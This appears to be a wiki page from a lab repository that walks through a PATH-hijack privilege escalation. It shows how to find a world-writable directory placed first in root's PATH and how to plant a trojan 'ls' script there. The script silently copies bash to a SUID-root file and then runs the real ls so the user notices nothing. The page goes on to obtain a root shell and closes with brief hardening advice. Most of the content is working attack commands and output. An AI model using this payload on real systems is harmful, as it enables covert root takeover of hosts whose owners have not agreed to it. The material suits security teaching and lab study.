Repository navigation
V5: PATH Hijack
sophialevasseur edited this page Oct 18, 2026
·
3 revisions
cat /etc/profile.d/lab-path.sh
export PATH="/opt/lab/bin:$PATH"
echo $PATH # /opt/lab/bin:…
/opt/lab/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -ld /opt/lab/bin # writable by me, early in PATH
drwxrwxrwx 2 root root 4096 Mar 5 09:12 /opt/lab/bin
| Command | Output |
|---|---|
cat /etc/profile.d/lab-path.sh |
files in /etc/profile.d/ run at every login, so their contents define the shared environment. |
echo $PATH |
shows the search order for your shell: /opt/lab/bin first, then the standard directories. |
ls -ld /opt/lab/bin |
confirms you can create files in that first-searched directory. |
- The heredoc writes a small script named ls into the first directory in PATH:
cat > /opt/lab/bin/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
exec /usr/bin/ls "$@"
EOF
chmod +x /opt/lab/bin/ls
- Line 2 - the same single-shot payload: copy bash to /tmp/rootshell and set its SUID bit.
| Command | Output |
|---|---|
exec /usr/bin/ls "$@" |
exec replaces this script with the real /usr/bin/ls, so the command behaves normally and the user notices nothing. "$@" passes along every argument the user typed (the quotes preserve arguments that contain spaces). |
chmod +x /opt/lab/bin/ls |
a newly created file is not executable; without the execute bit the shell skips it and finds the real ls further down the PATH. |
- The payload fires the next time root starts a login shell - for example su -, bash -l, or a new SSH session as root - because that is when /etc/profile.d/lab-path.sh is applied and any bare ls resolves to your file. Then:
/tmp/rootshell -p # bash keeps euid 0 with -p
id # uid=0(root)
uid=0(root) gid=0(root) groups=0(root)
- A fire-and-forget payload also works here: id > /tmp/pwned_7 on line 2 leaves a root-owned proof file when root's shell next runs ls.
- After the trigger, ls -la /tmp/rootshell shows a root-owned file with an s in the owner's execute slot (-rwsr-xr-x), and /tmp/rootshell -p gives a shell where id prints uid=0(root).
- PATH for privileged shells must contain only trusted, root-owned directories. sudo does this for you via secure_path in sudoers; /etc/profile.d must be audited the same way. World-writable directories must never appear in any PATH that root inherits.